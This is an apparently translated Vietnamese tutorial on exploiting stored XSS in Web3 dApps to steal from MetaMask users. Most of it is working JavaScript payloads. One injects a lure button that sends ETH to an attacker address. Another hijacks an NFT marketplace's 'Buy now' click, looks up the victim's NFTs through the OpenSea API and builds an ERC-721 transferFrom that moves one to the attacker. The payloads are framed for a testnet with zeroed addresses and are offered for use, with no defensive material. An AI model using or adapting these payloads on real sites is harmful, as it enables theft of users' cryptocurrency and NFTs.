Khai thác Cross Site Scripting (XSS) trong Web3
Giới thiệu
Cross-Site Scripting (XSS) là một kiểu tấn công mạng trong đó kẻ tấn công đưa mã độc vào một trang web hoặc ứng dụng web. Mã được đưa vào thường ở dạng tập lệnh, sau đó được thực thi bởi trình duyệt web của nạn nhân. Điều này có thể cho phép kẻ tấn công lấy cắp thông tin nhạy cảm, chẳng hạn như thông tin đăng nhập hoặc dữ liệu tài chính hoặc thực hiện các hành động độc hại khác thay cho nạn nhân.
Giới thiệu về hợp đồng thông minh
“Hợp đồng thông minh” chỉ đơn giản là một chương trình chạy trên chuỗi khối Ethereum. Đó là một tập hợp mã (chức năng của nó) và dữ liệu (trạng thái của nó) cư trú tại một địa chỉ cụ thể trên chuỗi khối Ethereum.
Hợp đồng thông minh là một loại tài khoản Ethereum. Điều này có nghĩa là chúng có số dư và có thể là mục tiêu của các giao dịch. Tuy nhiên, chúng không được kiểm soát bởi người dùng, thay vào đó chúng được triển khai vào mạng và chạy như được lập trình. Sau đó, tài khoản người dùng có thể tương tác với hợp đồng thông minh bằng cách gửi các giao dịch thực hiện một chức năng được xác định trên hợp đồng thông minh. Hợp đồng thông minh có thể xác định các quy tắc, giống như hợp đồng thông thường và tự động thực thi chúng thông qua mã. Hợp đồng thông minh không thể bị xóa theo mặc định và các tương tác với chúng là không thể đảo ngược.
Giao dịch chuỗi khối là gì?
Các giao dịch không còn chỉ giới hạn ở chuyển khoản tài chính và với sự phát triển của mạng chuỗi khối, giờ đây bạn có thể sử dụng chuỗi khối ngoài chuyển khoản tài chính, do đó, bất kỳ sửa đổi nào đối với trạng thái chuỗi khối hiện được gọi là giao dịch, cho dù đó là chuyển khoản tài chính đến ai đó hoặc tương tác của bạn với một hợp đồng thông minh.
Ứng dụng phi tập trung (dApps) & hợp đồng thông minh
Rất nhiều người sử dụng hoán đổi các thuật ngữ hợp đồng thông minh và ứng dụng phi tập trung (dApps), nhưng điều này là không chính xác. Hợp đồng thông minh chỉ đơn giản là một đoạn mã được lưu trữ trên chuỗi khối. Tuy nhiên, một dApp kết nối giao diện người dùng với phần phụ trợ và có thể sử dụng một số hợp đồng thông minh để chạy.
Tóm tắt ví MetaMask
- MetaMask là ví tiền điện tử cho phép người dùng lưu trữ Ether và các mã thông báo ERC-20 khác.
- Ví cũng có thể được sử dụng để tương tác với các ứng dụng phi tập trung.
Xác thực Web3
Hầu hết các ứng dụng phi tập trung (dApps) không xác thực người dùng bằng tên người dùng/mật khẩu, thay vào đó chúng sử dụng địa chỉ tiền điện tử để xác định người dùng, vì vậy trong trường hợp của chúng tôi, ngay cả khi dApp sử dụng cookie để theo dõi các hoạt động ngoại tuyến của người dùng, thì việc đánh cắp người dùng cũng sẽ không hữu ích cookie, bởi vì các hoạt động trong chuỗi khối yêu cầu khóa riêng của người dùng để ký mọi giao dịch (khóa riêng này chỉ tồn tại trên máy tính của người dùng và không thể đánh cắp nó bằng cách tấn công như XSS).
Chúng ta có thể làm gì?
Trong chủ đề này, tôi sẽ giải thích một số ý tưởng mà bạn có thể khai thác nó bằng tấn công XSS để đạt được mức độ nghiêm trọng cao nhất có thể.
Tôi sẽ sử dụng ví MetaMask trong phần giải thích này, vì đây là ví phổ biến nhất.
Trước khi bắt đầu
Chúng tôi sẽ thực hiện thử nghiệm của mình trên mạng thử nghiệm Goerli thay vì mạng mainnet, vì vậy chúng tôi không phải xử lý tiền thật.
Vì vậy, chúng ta cần kích hoạt mạng Goerli trên ví của mình.
Bạn có thể nhận ETH thử nghiệm cho Mạng Goerli từ đây .
Kết nối với MetaMask!
Phần đầu tiên trong cuộc tấn công của chúng tôi là khiến người dùng kết nối ví của mình với trang web dApp. Điều tốt nhất ở đây là khi MetaMask yêu cầu người dùng phê duyệt kết nối, nó sẽ hiển thị cho anh ta URL trang web dApp, điều này sẽ khiến người dùng hơi tự tin.
Đoạn mã JavaScript sau sẽ yêu cầu người dùng kết nối ví của mình:
const x = document.createElement("button");
x.id = "connect";
x.innerText = "Connect to MetaMask";
document.body.appendChild(x);
document.getElementById("connect").addEventListener("click", () => {
ethereum.request({ method: "eth_requestAccounts" });
});
Bây giờ, người dùng được kết nối với trang web dApp. Sau đó, chúng tôi sẽ tạo một tải trọng để thực hiện một giao dịch sẽ gửi tiền cho kẻ tấn công.
Tải trọng sau đây là để thực hiện một giao dịch sẽ gửi 0,01 ETH từ nạn nhân cho kẻ tấn công:
const y = document.createElement("button");
y.id = "send";
y.innerText = "Send 0.01 ETH to Win!";
document.body.appendChild(y);
document.getElementById("send").addEventListener("click", async () => {
const transactionParameters = {
nonce: "0x00",
gasPrice: "0x244AC6D",
gas: "0x12A52",
to: "0x0000000000000000000000000000000000000000",
from: ethereum.selectedAddress,
value: "0x2386F26FC10000",
data: "0x00",
chainId: "0x5",
};
const txHash = await ethereum.request({
method: "eth_sendTransaction",
params: [transactionParameters],
});
});
Như bạn có thể thấy, cuộc tấn công này cần sự tương tác của người dùng, nhưng đừng quên trong phần đầu tiên, MetaMask sẽ hiển thị cho người dùng URL của trang web dễ bị tấn công và điều này sẽ khiến anh ta tự tin nếu anh ta không có nền tảng kỹ thuật.
Bây giờ, hãy giải thích thêm chi tiết về tải trọng trước đó.
đối với transactionParametersđối tượng, chúng tôi có một số điều quan trọng bạn phải biết:
1- to: giá trị của tham số này là địa chỉ người nhận (có thể là khóa công khai của tài khoản của bạn hoặc địa chỉ hợp đồng).
2- value: lượng ether (tính bằng Hex) mà bạn muốn gửi.
3- data: tham số này hữu ích khi chúng ta muốn thực hiện các tương tác hợp đồng thông minh (tôi sẽ nói về nó một chút).
4- chainId: ở đây chúng tôi sử dụng Goerli testnet và chainId của nó là 0x5 (mỗi mạng có một chainId duy nhất).
Bạn có thể tìm chainId cho các mạng khác tại đây .
Khai thác mới
Điều quan trọng trước khi xác định cách khai thác mà bạn sẽ cung cấp là phải biết logic kinh doanh của dApp, vì vậy, ví dụ: nếu chúng tôi tìm thấy một XSS được lưu trữ trên thị trường NFT trong trang chi tiết NFT (hiển thị cho bạn thông tin chi tiết về NFT cụ thể), trong trường hợp đó, chúng tôi sẽ không sử dụng lần khai thác trước đó, thay vào đó chúng tôi sẽ tạo một kịch bản mới.
Hầu hết các thị trường NFT đều có “trang chi tiết NFT” như sau:
Vì vậy, khi bạn nhấp vào nút “Mua ngay”, một cửa sổ bật lên MetaMask sẽ xuất hiện để bạn phê duyệt giao dịch (đây là hành vi bình thường). Bây giờ chúng ta sẽ lạm dụng điều đó, vì vậy chúng ta cần thay đổi hành vi này.
Đầu tiên tôi sẽ giải thích kịch bản tấn công sau đó chúng ta sẽ viết phần khai thác. Khi người dùng nhấp vào “Mua ngay bây giờ”, chúng tôi muốn thực hiện lệnh gọi API phía sau hiện trường cho đến khi chúng tôi nhận được NFT mà người dùng sở hữu, sau đó chúng tôi sẽ chuyển quyền sở hữu NFT cho chúng tôi khi anh ấy xác nhận giao dịch qua MetaMask.
Chúng tôi sẽ sử dụng API OpenSea để thực hiện yêu cầu API nhằm nhận tất cả NFT của người dùng.
const req = new XMLHttpRequest();
req.open(
"GET",
`https://testnets-api.opensea.io/api/v1/assets?format=json&limit=50&offset=0&owner=${ethereum.selectedAddress}`
);
req.send();
req.onreadystatechange = async () => {
if (req.readyState === 4) {
const data = JSON.parse(req.response);
const SC_address = data["assets"][0]["asset_contract"]["address"];
const tokenId = parseInt(data["assets"][0]["token_id"]).toString(16);
}
SC_address: Biến này sẽ chứa địa chỉ của hợp đồng thông minh (địa chỉ NFT).
tokenId: Biến này sẽ chứa tokenId của NFT.
Bây giờ, chúng tôi sẽ tạo một giao dịch mới sẽ khiến người dùng chấp thuận chuyển NFT của mình cho kẻ tấn công:
const ATTACKER_ADDRESS = "0x0000000000000000000000000000000000000000";
const transactionParameters = {
nonce: "0x00",
gasPrice: "0x244AC6D",
gas: "0x12A52",
to: SC_address,
from: ethereum.selectedAddress,
value: "0x00",
data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${"0".repeat(64 - tokenId.length)}${tokenId}`,
chainId: "0x5",
};
const txHash = await ethereum.request({
method: "eth_sendTransaction",
params: [transactionParameters],
});
Đối tượng data in transactionParametersđại diện cho thông tin mà chúng ta cần gọi transferFrom hàm (Phương thức ERC-721).
Thêm chi tiết về dữ liệu:
23b872dd đại diện cho MethodID của hàm. transferFrom
${ethereum.selectedAddress.substr(2)}đại diện cho địa chỉ của người dùng.
${“0”.repeat(64 — tokenId.length)}: ở đây chúng tôi tính toán độ dài của tokenId, sau đó chúng tôi sẽ trừ nó từ 64 cho đến khi điền phần còn lại của dữ liệu bằng không.
Bây giờ, giao dịch của chúng ta đã sẵn sàng, hãy kết hợp tất cả lại với nhau.
document.getElementById("buy").addEventListener("click", async () => {
const req = new XMLHttpRequest();
req.open(
"GET",
`https://testnets-api.opensea.io/api/v1/assets?format=json&limit=50&offset=0&owner=${ethereum.selectedAddress}`
);
req.send();
req.onreadystatechange = async () => {
if (req.readyState === 4) {
const data = JSON.parse(req.response);
const SC_address = data["assets"][0]["asset_contract"]["address"];
const tokenId = parseInt(data["assets"][0]["token_id"]).toString(16);
const ATTACKER_ADDRESS = "0x0000000000000000000000000000000000000000";
const transactionParameters = {
nonce: "0x00",
gasPrice: "0x244AC6D",
gas: "0x12A52",
to: SC_address,
from: ethereum.selectedAddress,
value: "0x00",
data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${"0".repeat(64 - tokenId.length)}${tokenId}`,
chainId: "0x5",
};
const txHash = await ethereum.request({
method: "eth_sendTransaction",
params: [transactionParameters],
});
}
};
});
Cảm ơn bạn đã đọc, tôi hy vọng câu chuyện của tôi hữu ích.

![Dù sao thì một danh sách được liên kết là gì? [Phần 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































